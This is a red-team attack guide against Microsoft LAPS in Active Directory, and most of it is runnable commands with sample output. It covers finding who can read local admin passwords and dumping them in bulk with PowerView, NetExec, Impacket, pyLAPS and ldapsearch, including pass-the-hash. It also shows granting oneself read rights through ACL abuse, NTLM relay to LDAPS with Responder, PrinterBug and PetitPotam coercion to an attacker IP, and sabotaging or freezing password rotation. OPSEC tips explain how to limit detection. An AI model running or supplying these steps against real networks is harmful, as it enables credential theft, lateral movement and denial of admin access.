Legend:
[ENUM]= Enumeration technique |[DUMP]= Password dumping method |[ABUSE]= Misconfiguration abuse |[LATERAL]= Lateral movement |[PERSIST]= Persistence / Sabotage |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[TOOL]= Tool reference |[MITRE]= MITRE ATT&CK mapping |[v1]= Legacy LAPS only |[v2]= Windows LAPS (2023+) only |[BOTH]= Applies to both versions
1. What is LAPS and Why It Matters for Red Teamers
What it means: LAPS (Local Administrator Password Solution) is Microsoft's solution to a classic AD problem — organizations historically used the same local Administrator password across all domain-joined machines. This made Pass-the-Hash and lateral movement trivial: compromise one machine, own every other workstation in the domain.
LAPS fixes this by assigning a unique, random, auto-rotating password to the local Administrator account on each domain-joined machine, and stores that password in Active Directory as a computer attribute. Only authorized users can read it.
The attack surface: LAPS doesn't remove local admin access — it moves the secret into Active Directory. If you can read the AD attribute, you have local admin on that machine. If you can find who is authorized to read it, you have a privilege escalation target. If it's not deployed, you have domain-wide lateral movement for free.
Without LAPS (classic problem):
┌─────────────────────────────────────────────────────────────┐
│ Every workstation: Administrator / Password123! │
│ │
│ Compromise WKSTN01 → dump hash → PTH to WKSTN02-500 → │
│ PTH to WKSTN03-500 → PTH to SERVER01 → ... │
│ One hash = ENTIRE DOMAIN lateral movement │
└─────────────────────────────────────────────────────────────┘
With LAPS (attacker perspective):
┌─────────────────────────────────────────────────────────────┐
│ WKSTN01: Administrator / xKp#7mQz2!Ry │
│ WKSTN02: Administrator / Lw8@nJvX4$Qs │
│ WKSTN03: Administrator / Pm3!uFcT6#Vy │
│ │
│ Passwords are unique → PTH hash reuse fails! │
│ BUT: passwords are stored in AD → read AD → own machines │
│ LAPS is only as secure as the ACLs protecting it │
└─────────────────────────────────────────────────────────────┘
Why LAPS is still a red teamer's goldmine:
| Scenario | Attack Value |
|---|---|
| LAPS deployed, weak ACLs (helpdesk can read all) | Read all passwords → own any machine |
| LAPS deployed, you own a user with ReadProperty on LAPS attribute | Targeted machine takeover |
LAPS deployed, you have Write on ms-Mcs-AdmPwdExpirationTime |
Force password reset → read new password |
| LAPS NOT deployed on some OUs | Those machines = shared password → classic PTH |
| LAPS v1 — no encryption | Password readable in plaintext from LDAP |
| LAPS v2 — encrypted, but you have DA rights | Decrypt via KDS root key |
| LAPS backed up to Entra ID | Dump via MS Graph API with the right role |
[OPSEC] LAPS passwords are read via LDAP — Event ID 4662 fires on the DC when a confidential attribute (ms-Mcs-AdmPwd) is accessed. Bulk reads trigger alerts. Read only what you need.
2. LAPS Architecture — v1 vs v2 (Windows LAPS)
What it means: There are two distinct generations of LAPS with very different storage, encryption, and attribute names. You must know which version is deployed before attempting to read passwords.
2.1 Version Comparison
Legacy LAPS (v1) Windows LAPS (v2)
───────────────────── ──────────────────────────────
Introduced: 2015 (LAPS.msi) April 11, 2023 (Windows Update)
Distribution: Separate MSI install Built into Windows OS
GPO Namespace: LAPS (old) Windows Settings → LAPS
Schema Attributes: ms-Mcs-AdmPwd msLAPS-Password
ms-Mcs-AdmPwdExpirationTime msLAPS-PasswordExpirationTime
msLAPS-EncryptedPassword
msLAPS-EncryptedPasswordHistory
msLAPS-EncryptedDSRMPassword
Storage Format: PLAINTEXT (no encryption!) JSON blob (or encrypted)
Encryption: NONE Optional (AES-256 via KDS)
DSRM Support: No YES — can manage DSRM password!
Password History: No YES (encrypted history)
Backends: Active Directory only Active Directory OR Entra ID
Managed Account: Built-in Administrator only Any local account (configurable)
2.2 LAPS Attribute Structure
LAPS v1 Attributes (on Computer object in AD):
├─ ms-Mcs-AdmPwd
│ └─ Type: Confidential attribute
│ └─ Value: PlainTextPassword123! ← READABLE IF YOU HAVE RIGHTS
│
└─ ms-Mcs-AdmPwdExpirationTime
└─ Type: Regular attribute (any domain user can read this!)
└─ Value: 132609935231523081 ← Windows FileTime (100-nanosecond intervals since Jan 1, 1601)
└─ Readable by everyone → use to detect LAPS deployment!
Windows LAPS v2 Attributes (on Computer object in AD):
├─ msLAPS-Password ← Cleartext JSON (if encryption disabled)
│ └─ {"n":"Administrator","t":"2024-01-15T12:00:00","p":"xKp#7mQz2!Ry"}
│ Where: n = account name, t = timestamp, p = password
│
├─ msLAPS-PasswordExpirationTime ← Expiration timestamp
├─ msLAPS-EncryptedPassword ← AES-256 encrypted blob (KDS root key)
├─ msLAPS-EncryptedPasswordHistory ← History of rotated passwords (encrypted)
└─ msLAPS-EncryptedDSRMPassword ← Encrypted DSRM password (DC management!)
2.3 How LAPS Password Lifecycle Works
[Computer boots / GP refreshes]
│
▼
LAPS CSE (Client Side Extension) runs
│
├─ Check: Has ms-Mcs-AdmPwdExpirationTime passed?
│ ├─ NO → Nothing to do, skip
│ └─ YES → Generate new random password
│ │
│ ├─ Apply new password to local Administrator account
│ ├─ Write new password to ms-Mcs-AdmPwd in AD
│ └─ Update ms-Mcs-AdmPwdExpirationTime = Now + PwdAge
│
└─ Default password age: 30 days (configurable)
Default length: 14 chars (configurable)
Default complexity: uppercase + lowercase + numbers + special
[OPSEC] LAPS password rotation happens on GP refresh, not on a timer. If you set the expiration time to the past → password regenerates on the next gpupdate /force or next GP refresh cycle (every ~90 minutes by default).
3. Phase 1 — Detecting LAPS Deployment
What it means: Before trying to read LAPS passwords, you need to confirm LAPS is installed, which OUs it covers, and which machines are managed. Any domain user can check the expiration time attribute — use this as your detection method.
[MITRE] T1087.002 — Account Discovery: Domain Account | T1069.002 — Permission Groups Discovery: Domain Groups
3.1 Check if LAPS is Installed (From Windows)
# Method 1: Check for LAPS PowerShell module
Get-Module -ListAvailable AdmPwd.PS # Legacy LAPS module
Get-Command *Laps* # Windows LAPS (v2) — built-in on Win11/Server2022+
dir "$env:windir\System32\LAPS" # Check for Windows LAPS binary directory
# Method 2: Check for LAPS CSE DLL on the local machine
Test-Path "C:\Program Files\LAPS\CSE\AdmPwd.dll" # Legacy LAPS
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" # Legacy LAPS GPO key
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" # Windows LAPS
# Method 3: Check LAPS GPO (no auth needed, just domain access)
Get-GPO -All | Where-Object { $_.DisplayName -like "*LAPS*" }
# Method 4: Check from the registry — if LAPS is enabled on this machine
reg query "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
# 0x1 = LAPS enabled on this machine
3.2 Detect LAPS Deployment via LDAP (No Special Rights)
# KEY INSIGHT: Any domain user can read ms-Mcs-AdmPwdExpirationTime
# Even though they cannot read the password itself!
# Use this to fingerprint which computers ARE managed by LAPS
# PowerView — find LAPS-managed computers (any domain user can run this)
Import-Module PowerView.ps1
Get-DomainComputer | Where-Object {
$_."ms-Mcs-AdmPwdExpirationTime" -ne $null
} | Select-Object dnsHostName, "ms-Mcs-AdmPwdExpirationTime"
# Output example:
# dnsHostName ms-Mcs-AdmPwdExpirationTime
# ────────────────── ───────────────────────────
# WKSTN01.corp.local 132609935231523081 ← LAPS managed!
# WKSTN02.corp.local 132609935291823047 ← LAPS managed!
# SERVER01.corp.local ← NOT managed → shared password!
# Active Directory Module
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwdExpirationTime |
Where-Object { $_.'ms-Mcs-AdmPwdExpirationTime' -ne $null } |
Select-Object Name, 'ms-Mcs-AdmPwdExpirationTime'
3.3 Detect LAPS Deployment via LDAP (Linux / Remote)
# ldapsearch — find all computers with LAPS (ms-Mcs-AdmPwdExpirationTime populated)
ldapsearch -x -H ldap://dc01.corp.local \
-D "user@corp.local" -w 'Password123' \
-b "DC=corp,DC=local" \
"(&(objectCategory=computer)(ms-Mcs-AdmPwdExpirationTime=*))" \
dn ms-Mcs-AdmPwdExpirationTime
# NetExec — check LAPS presence across the domain
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps --options
# The LAPS module will show which machines return LAPS data
# Check if LAPS schema extension is present at all
ldapsearch -x -H ldap://dc01.corp.local \
-D "user@corp.local" -w 'Password123' \
-b "CN=Schema,CN=Configuration,DC=corp,DC=local" \
"(lDAPDisplayName=ms-Mcs-AdmPwd)" lDAPDisplayName
# → If the attribute exists in schema → LAPS v1 has been schema-extended
3.4 Identify Machines WITHOUT LAPS (Attack Targets)
# These machines still use a shared local admin password → classic PTH!
Get-DomainComputer | Where-Object {
$_."ms-Mcs-AdmPwdExpirationTime" -eq $null
} | Select-Object dnsHostName, OperatingSystem
# Also check by OU — LAPS is usually only applied to certain OUs
# Machines in non-covered OUs = no LAPS = shared password!
Get-DomainOU | ForEach-Object {
$ou = $_
$computers = Get-DomainComputer -SearchBase $ou.distinguishedname
$lapsCount = ($computers | Where-Object { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null }).Count
[PSCustomObject]@{
OU = $ou.distinguishedname
Total = $computers.Count
LAPSManaged = $lapsCount
NotManaged = $computers.Count - $lapsCount
}
}
[OPSEC] Reading ms-Mcs-AdmPwdExpirationTime is not logged — it's a non-confidential attribute. This is your safe enumeration path. Reading the actual password (ms-Mcs-AdmPwd) generates Event ID 4662.
4. Phase 2 — Enumerating Who Can Read LAPS Passwords
What it means: The LAPS password attribute is protected by ACLs. Before trying to read it yourself, identify which groups and users have ReadProperty on ms-Mcs-AdmPwd (or AllExtendedRights). These are your lateral movement pivot accounts.
[MITRE] T1069.002 — Permission Groups Discovery: Domain Groups
4.1 PowerView — Find LAPS ACLs on OUs
Import-Module PowerView.ps1
# Method 1: Find who has ReadProperty on ms-Mcs-AdmPwd across all OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object {
($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and
($_.ActiveDirectoryRights -match 'ReadProperty')
} | ForEach-Object {
$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier)
$_
} | Select-Object IdentityName, ObjectAceType, ActiveDirectoryRights
# Output example:
# IdentityName ObjectAceType ActiveDirectoryRights
# ───────────────────── ───────────── ─────────────────────────
# CORP\LAPS Admins ms-Mcs-AdmPwd ReadProperty
# CORP\Helpdesk ms-Mcs-AdmPwd ReadProperty ← your target!
# CORP\Domain Admins ms-Mcs-AdmPwd ReadProperty
# Method 2: Find who has AllExtendedRights on Computer objects
# AllExtendedRights = can read ALL confidential attributes including LAPS password!
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {
($_.ActiveDirectoryRights -match 'AllExtendedRights') -and
($_.ObjectType -eq 'Computer')
} | ForEach-Object {
[PSCustomObject]@{
Identity = Convert-SidToName $_.SecurityIdentifier
Rights = $_.ActiveDirectoryRights
Object = $_.ObjectDN
}
}
4.2 Native LAPS PowerShell Module — Audit Rights
# Requires LAPS module (AdmPwd.PS) installed
Import-Module AdmPwd.PS
# List who can read LAPS passwords per OU
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local" | Format-List
# Output:
# ObjectDN : OU=Workstations,DC=corp,DC=local
# ExtendedRightHolders :
# CORP\Domain Admins
# CORP\LAPS Admins
# CORP\Helpdesk ← this is interesting
# Check LAPS rights for each OU in the domain
Get-DomainOU | ForEach-Object {
Find-AdmPwdExtendedRights -Identity $_.distinguishedname
}
4.3 bloodyAD — Find LAPS Readers (Linux)
# bloodyAD — enumerate who can read LAPS attributes
python3 bloodyAD.py -u user -d corp.local -p 'Password123' \
--host dc01.corp.local \
get search \
--filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Enumerate ACLs on LAPS attribute
python3 bloodyAD.py -u user -d corp.local -p 'Password123' \
--host dc01.corp.local \
get objectACL "CN=WKSTN01,OU=Workstations,DC=corp,DC=local"
[ENUM] Key insight: A user with AllExtendedRights on a Computer object can read the LAPS password for that computer — even without ReadProperty specifically on ms-Mcs-AdmPwd. Check for both rights!
5. Phase 3 — Reading LAPS Passwords (Windows / PowerShell)
What it means: Once you identify a user account that has ReadProperty rights on LAPS attributes, use that account to read the password. This is the core exploitation step.
[MITRE] T1003.008 — Credential Dumping | T1552.001 — Credentials from Files
5.1 Native LAPS PowerShell Module (AdmPwd.PS)
# Requires: LAPS management module installed (AdmPwd.PS)
Import-Module AdmPwd.PS
# Read password for a specific computer
Get-AdmPwdPassword -ComputerName "WKSTN01"
# Output:
# ComputerName DistinguishedName Password ExpirationTimestamp
# ──────────── ─────────────────────────────────── ──────────── ──────────────────
# WKSTN01 CN=WKSTN01,OU=Workstations,DC=... xKp#7mQz2!Ry 01/15/2025 12:00:00
# Dump all LAPS passwords (only shows what your current user can read)
Get-ADComputer -Filter * | ForEach-Object {
Get-AdmPwdPassword -ComputerName $_.Name -ErrorAction SilentlyContinue
} | Where-Object { $_.Password -ne $null }
5.2 PowerView — Read LAPS Password
Import-Module PowerView.ps1
# Read LAPS password for a specific computer
Get-DomainComputer "WKSTN01" -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
# Read ALL readable LAPS passwords (bulk dump — generates 4662 per read!)
Get-DomainComputer -Filter '(ms-Mcs-AdmPwd=*)' `
-Properties Name, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'
# One-liner dump of all readable passwords
Get-DomainComputer | Select-Object dnsHostName,'ms-mcs-admpwd' |
Where-Object { $_.'ms-mcs-admpwd' -ne $null }
5.3 Active Directory Module (No LAPS Module Required)
Import-Module ActiveDirectory
# Single computer
Get-ADComputer -Identity "WKSTN01" -Properties 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime' |
Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'
# All computers — only returns password where you have ReadProperty rights
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' |
Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
Select-Object Name, 'ms-Mcs-AdmPwd'
5.4 ADSI Searcher — No Module Dependencies
# Pure .NET / ADSI — no external modules needed!
# Great for constrained environments where PowerShell modules are blocked
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() |
ForEach-Object {
Write-Host ""
$_.properties.cn # Computer name
$_.properties.'ms-mcs-admpwd' # Password
}
# Or as a cleaner one-liner saving to array
$laps = ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*))").FindAll()
$laps | ForEach-Object { "$($_.Properties.cn) : $($_.Properties.'ms-mcs-admpwd')" }
5.5 Windows LAPS v2 — Read Cleartext Password (if Encryption Disabled)
# Windows LAPS stores password as JSON in msLAPS-Password
# JSON format: {"n":"Administrator","t":"2024-01-15T12:00:00","p":"xKp#7mQz2!Ry"}
# Read msLAPS-Password attribute
$lapsRaw = (Get-DomainObject -Identity "WKSTN01" -Properties msLAPS-Password).'msLAPS-Password'
# Parse the JSON blob
$lapsObj = $lapsRaw | ConvertFrom-Json
Write-Host "Account: $($lapsObj.n)" # Managed account name
Write-Host "Password: $($lapsObj.p)" # LAPS password
Write-Host "Updated: $($lapsObj.t)" # Timestamp
# Or via Active Directory module
Get-ADComputer -Filter * -Properties msLAPS-Password,msLAPS-PasswordExpirationTime |
Where-Object { $_.'msLAPS-Password' -ne $null } |
ForEach-Object {
$pwd = $_.'msLAPS-Password' | ConvertFrom-Json
[PSCustomObject]@{ Name = $_.Name; Account = $pwd.n; Password = $pwd.p }
}
[v2] The n field in the JSON is critical for Windows LAPS v2 — Microsoft LAPS v2 can manage a custom account instead of the built-in Administrator. Always read the n (name) field to know which account to authenticate with.
6. Phase 4 — Reading LAPS Passwords (Linux / Remote)
What it means: Most red team engagements start from Linux. These methods let you dump LAPS passwords remotely using stolen credentials, NTLM hashes, or Kerberos tickets.
6.1 NetExec (nxc) — The Go-To Remote LAPS Dump
# NetExec LAPS module — works with password, hash, or Kerberos
# Basic dump with password
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps
# With NTLM hash (no password needed!)
nxc ldap dc01.corp.local -u user -H 'AABBCC112233DDEEFF0011223344AABB' -M laps
# With Kerberos ticket
nxc ldap dc01.corp.local -u user -p 'Password123' --use-kcache -M laps
# Output:
# LDAP 192.168.1.10 389 DC01 [*] Windows 10.0 Build 19041 x64
# LDAP 192.168.1.10 389 DC01 [+] corp.local\user:Password123
# LAPS 192.168.1.10 389 DC01 [+] WKSTN01$: Admin Password: xKp#7mQz2!Ry
# LAPS 192.168.1.10 389 DC01 [+] WKSTN02$: Admin Password: Lw8@nJvX4$Qs
# Windows LAPS v2 support
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps --options
# Set MODULE:LAPS_TYPE=2 for Windows LAPS v2
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps -o LAPS_TYPE=2
6.2 pyLAPS — Python Getter/Setter
# pyLAPS — Python tool specifically for LAPS attribute manipulation
git clone https://github.com/p0dalirius/pyLAPS
cd pyLAPS
# Get LAPS password for all computers
python3 pyLAPS.py --action get \
-u 'user' -d 'corp.local' -p 'Password123' \
--dc-ip 192.168.1.10
# Get LAPS password for a specific computer
python3 pyLAPS.py --action get \
-u 'user' -d 'corp.local' -p 'Password123' \
--dc-ip 192.168.1.10 \
--computer WKSTN01
# With NTLM hash
python3 pyLAPS.py --action get \
-u 'user' -d 'corp.local' \
--hashes ':AABBCC112233DDEEFF0011223344AABB' \
--dc-ip 192.168.1.10
# Output:
# [+] WKSTN01$ => xKp#7mQz2!Ry
# [+] WKSTN02$ => Lw8@nJvX4$Qs
# [+] SERVER01$ => [ACCESS DENIED - you don't have rights to this one]
6.3 ldapsearch — Manual LDAP Query
# ldapsearch — direct LDAP query (most universal, works anywhere)
ldapsearch -x \
-H ldap://dc01.corp.local \
-D "user@corp.local" \
-w 'Password123' \
-b "DC=corp,DC=local" \
"(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" \
ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dn
# Output:
# dn: CN=WKSTN01,OU=Workstations,DC=corp,DC=local
# ms-MCS-AdmPwd: xKp#7mQz2!Ry
# ms-MCS-AdmPwdExpirationTime: 132609935231523081
# With Kerberos authentication
ldapsearch -Y GSSAPI \
-H ldap://dc01.corp.local \
-b "DC=corp,DC=local" \
"(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
6.4 Impacket GetLAPSPassword
# Impacket's dedicated LAPS tool
python3 GetLAPSPassword.py corp.local/user:'Password123'@dc01.corp.local
# With NTLM hash
python3 GetLAPSPassword.py -hashes ':AABBCC112233DDEEFF0011223344AABB' \
corp.local/user@dc01.corp.local
# Specific target computer
python3 GetLAPSPassword.py corp.local/user:'Password123'@dc01.corp.local \
-computer WKSTN01
# Output:
# [*] Getting LAPS Passwords
# Computer: WKSTN01$ LAPS Password: xKp#7mQz2!Ry
6.5 LAPSDumper — Python Tool
git clone https://github.com/n00py/LAPSDumper
cd LAPSDumper
# Dump all passwords
python3 laps.py -u user -p 'Password123' -d corp.local
# Dump specific computer
python3 laps.py -u user -p 'Password123' -d corp.local -c WKSTN01
# With hash
python3 laps.py -u user -p '' -d corp.local \
--ntlm 'AABBCC112233DDEEFF0011223344AABB'
6.6 bloodyAD
# bloodyAD — versatile AD tool, great for LAPS
python3 bloodyAD.py \
-u user -d corp.local -p 'Password123' \
--host dc01.corp.local \
get search \
--filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
[OPSEC] Every read of ms-Mcs-AdmPwd fires Event ID 4662 on the DC. Bulk dumping all passwords in a loop = obvious detection. Read selectively — only the machine you need.
7. ACL Abuse — AllExtendedRights & ReadProperty
What it means: Sometimes you don't directly have rights to read LAPS passwords, but you have rights to write ACLs or you're a member of a group that has AllExtendedRights without realizing it. These are your escalation paths.
[MITRE] T1222 — File and Directory Permissions Modification | T1078.002 — Valid Accounts: Domain Accounts
7.1 AllExtendedRights → Instant LAPS Read
# AllExtendedRights on a computer object = read ALL confidential attributes
# Including ms-Mcs-AdmPwd — this is a full LAPS read even without explicit ReadProperty!
# Check if your current user has AllExtendedRights on any computer
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {
($_.ActiveDirectoryRights -match "AllExtendedRights") -and
($_.ObjectType -eq "Computer")
} | ForEach-Object {
$identity = Convert-SidToName $_.SecurityIdentifier
if ($identity -like "*$($currentUser.Name.Split('\')[1])*") {
Write-Host "[+] You have AllExtendedRights on: $($_.ObjectDN)"
}
}
# Then just read the LAPS password directly
Get-DomainComputer "WKSTN01" -Properties ms-Mcs-AdmPwd
7.2 Granting Yourself LAPS Read (If You Have WriteDACL)
# If you have WriteDACL on a computer object or its parent OU:
# → Grant yourself ReadProperty on ms-Mcs-AdmPwd → read the password
# Step 1: Grant your user read access to ms-Mcs-AdmPwd
$identity = [Security.Principal.NTAccount]"CORP\your-user"
$computerDN = "CN=WKSTN01,OU=Workstations,DC=corp,DC=local"
# Get the GUID for ms-Mcs-AdmPwd attribute
$schemaPath = ([adsi]"LDAP://RootDSE").schemaNamingContext
$attrGUID = ([adsisearcher]"(lDAPDisplayName=ms-Mcs-AdmPwd)").FindOne().Properties.schemaidguid[0]
$attrGuidObj = [Guid]$attrGUID
# Create the ACE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$identity,
[System.DirectoryServices.ActiveDirectoryRights]::ReadProperty,
[System.Security.AccessControl.AccessControlType]::Allow,
$attrGuidObj
)
# Apply to computer object
$computer = [adsi]"LDAP://$computerDN"
$computer.ObjectSecurity.AddAccessRule($ace)
$computer.CommitChanges()
Write-Host "[+] Read permission for ms-Mcs-AdmPwd granted!"
# Step 2: Now read the LAPS password
Get-DomainComputer "WKSTN01" -Properties ms-Mcs-AdmPwd
7.3 Account Operators Group — Unexpected LAPS Access
CRITICAL MISCONFIGURATION:
The "Account Operators" group can modify most user and group objects in AD.
If LAPS delegations are done at OU level and Account Operators have
GenericAll or WriteDACL on those OUs → they can modify ACLs to grant themselves LAPS read.
Check: Are you in Account Operators?
whoami /groups | findstr "Account Operators"
Attack path:
Account Operators → modify ACL on computer OU → grant ReadProperty on ms-Mcs-AdmPwd → read LAPS
8. LDAP Relay to Dump LAPS
What it means: If LDAP signing is not enforced (common in many environments), you can relay NTLM authentication to LDAP and use the relayed session to read LAPS passwords — without needing to know the user's password. You only need to be on the network and trigger authentication from an account that has LAPS read rights.
[MITRE] T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning | T1040 — Network Sniffing
8.1 Attack Flow — LDAP Relay → LAPS Dump
Prerequisites:
1. LDAP Signing NOT enforced on DC (check via netexec)
2. A user/computer that has LAPS read rights is on the network
3. Responder (or similar) to capture NTLM challenge-response
Attack flow:
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Run Responder (LLMNR/NBT-NS/mDNS poisoner) │
│ → Captures NTLMv2 challenge-response from victim machine/user │
│ │
│ 2. If captured user has LAPS read rights: │
│ Relay their authentication to LDAP on the DC │
│ │
│ 3. ntlmrelayx with --dump-laps: │
│ → Authenticates to LDAPS as the relayed user │
│ → Reads all ms-Mcs-AdmPwd attributes the user can access │
│ → Outputs LAPS passwords in cleartext! │
└─────────────────────────────────────────────────────────────────────┘
8.2 Setup — Responder + ntlmrelayx
# Terminal 1: Run Responder (captures NTLM auth)
# IMPORTANT: Disable SMB and HTTP servers in Responder (ntlmrelayx handles them)
sudo python3 Responder.py -I eth0 -dwv -A # Analyze mode first to see traffic
# Edit /etc/responder/Responder.conf: set SMB = Off, HTTP = Off
sudo python3 Responder.py -I eth0 -dwv
# Terminal 2: Run ntlmrelayx targeting LDAPS with LAPS dump flag
sudo python3 ntlmrelayx.py \
-t ldaps://192.168.1.10 \ # Target = Domain Controller LDAPS
--dump-laps \ # Dump all readable LAPS passwords
--no-dump \ # Don't dump full LDAP (just LAPS)
--no-da \ # Don't try to add DA account
--no-acl \ # Don't try ACL abuse
--no-validate-privs # Don't waste time checking privs
# When a LAPS-reader account authenticates (via LLMNR etc.):
# [*] Servers started, waiting for connections
# [*] SMBD-Thread-3: Connection from 192.168.1.50 controlled, attacking target ldaps://192.168.1.10
# [*] Attempting LAPS dump...
# [+] Successfully dumped LAPS password for WKSTN01: xKp#7mQz2!Ry
# [+] Successfully dumped LAPS password for WKSTN02: Lw8@nJvX4$Qs
8.3 Trigger NTLM Auth from a Specific User
# Coerce a machine account or user to authenticate to your listener
# Machine accounts often have LAPS read rights (SYSTEM on the machine = read its own LAPS)
# Trigger via PrinterBug (MS-RPRN coercion)
python3 printerbug.py corp.local/user:'Password123'@192.168.1.50 192.168.1.200
# target attacker IP
# Trigger via PetitPotam
python3 PetitPotam.py 192.168.1.200 192.168.1.50
# attacker IP target
# Any machine's coerced auth can be relayed!
# If the machine has LAPS read access → LAPS passwords are yours
8.4 Check if LDAP Signing is Enforced
# NetExec — check LDAP signing status (no authentication needed!)
nxc ldap dc01.corp.local -u '' -p '' --port 389
# Alternatively
python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.10
# → LDAP: SIGNING_ENABLED or NOT_REQUIRED
# → LDAPS: CHANNEL_BINDING ENABLED or NOT_REQUIRED
# If NOT REQUIRED → LDAP relay attack is possible!
[DETECT] LDAP relay attacks generate Event ID 4624 (Logon) with source being the attacker IP instead of the victim machine. Anomalous LDAP logons from unexpected sources are the detection point.
9. Force Password Expiry / Sabotage Expiration Time
What it means: If you have write access to ms-Mcs-AdmPwdExpirationTime but not read access to ms-Mcs-AdmPwd, you can set the expiration time to the past. This forces the LAPS client to generate a new password on the next GP refresh. If you also have read access, you get the new password the moment it's set. Even without read access, forcing a reset can break legitimate admin access (sabotage).
[MITRE] T1531 — Account Access Removal | T1222 — File and Directory Permissions Modification
9.1 Who Has Write Access to ExpirationTime?
# By default, COMPUTER ACCOUNTS (SELF) can write to ms-Mcs-AdmPwdExpirationTime
# This is needed so the machine can update its own expiration after rotating the password
# Find users/groups with WriteProperty on ms-Mcs-AdmPwdExpirationTime
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
Where-Object {
($_.ObjectAceType -like 'ms-Mcs-AdmPwdExpirationTime') -and
($_.ActiveDirectoryRights -match 'WriteProperty')
} | ForEach-Object {
Convert-SidToName $_.SecurityIdentifier
}
9.2 Force Immediate Password Rotation (Write ExpirationTime)
# Attack: Set expiration time to the PAST → forces password rotation on next GP refresh
# This is useful when:
# 1. You have Write on ExpirationTime but not Read on the password
# 2. You CAN read the password → force a rotation → catch the new password immediately
# PowerView — set expiration to a past time to force immediate rotation
Set-DomainObject -Identity "WKSTN01" \
-Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
# 136257686710000000 is a timestamp in the past → forces rotation
# Set to a specific past date (PowerShell FileTime)
$pastDate = (Get-Date "2020-01-01").ToFileTimeUtc()
Set-DomainObject -Identity "WKSTN01" \
-Set @{'ms-Mcs-AdmPwdExpirationTime' = $pastDate.ToString()} -Verbose
# Using native AD module
Set-ADComputer -Identity "WKSTN01" \
-Replace @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'}
9.3 pyLAPS — Set Expiration via Python
# pyLAPS — can also SET the expiration time
python3 pyLAPS.py --action set \
-u user -d corp.local -p 'Password123' \
--dc-ip 192.168.1.10 \
--computer WKSTN01 \
--expiration-time "2020-01-01 00:00:00"
# → Next GP refresh on WKSTN01 will rotate the password
9.4 Extend Expiration Time (Freeze LAPS Password Rotation)
# Attack: Set expiration FAR into the future to PREVENT password rotation
# Why: If you know the current LAPS password, this keeps it valid indefinitely
# Note: Only works if "Do not allow password expiration time longer than required by policy" GPO is DISABLED
# Set expiration 100 years in the future
$farFuture = [DateTime]::MaxValue.ToFileTimeUtc().ToString()
Set-DomainObject -Identity "WKSTN01" \
-Set @{'ms-Mcs-AdmPwdExpirationTime' = $farFuture} -Verbose
# Alternative large value
Set-DomainObject -Identity "WKSTN01" \
-Set @{'ms-Mcs-AdmPwdExpirationTime' = '9999999999999999'} -Verbose
# CHECK: If the GPO "Do not allow password expiration time longer than required by policy"
# is Enabled → LAPS will IGNORE this and rotate on schedule anyway!
[OPSEC] Writing to ms-Mcs-AdmPwdExpirationTime fires Event ID 5136 (Directory Service Object Modified). The attribute name is in the log. Defenders watching for LAPS attribute writes will see this.
10. Windows LAPS v2 — Encrypted Password Attacks
What it means: Windows LAPS (v2, April 2023+) supports AES-256 encryption of the stored password using a KDS Root Key on the domain controller. When encryption is enabled, you cannot simply read the msLAPS-EncryptedPassword blob — you need to decrypt it. However, if you have Domain Admin rights, you can still decrypt it.
[MITRE] T1552 — Unsecured Credentials | T1003 — Credential Dumping
10.1 Identify if Encryption is Enabled
# Check if passwords are stored encrypted (msLAPS-EncryptedPassword) vs cleartext (msLAPS-Password)
Get-ADComputer -Filter * -Properties msLAPS-Password, msLAPS-EncryptedPassword |
ForEach-Object {
[PSCustomObject]@{
Name = $_.Name
HasClearText = $_.'msLAPS-Password' -ne $null
HasEncrypted = $_.'msLAPS-EncryptedPassword' -ne $null
}
}
# If HasEncrypted = True and HasClearText = False → encryption is enabled
# Need DA or KDS root key access to decrypt
10.2 Reading Encrypted Passwords (with Domain Admin)
# Windows LAPS v2 — decrypt encrypted password via native cmdlet (requires DA or delegated role)
# The Get-LapsADPassword cmdlet handles decryption automatically
# Read and decrypt Windows LAPS password (built-in Windows LAPS cmdlet)
Get-LapsADPassword -Identity "WKSTN01" -AsPlainText
# Output:
# ComputerName : WKSTN01
# DistinguishedName : CN=WKSTN01,OU=...
# Account : Administrator
# Password : xKp#7mQz2!Ry
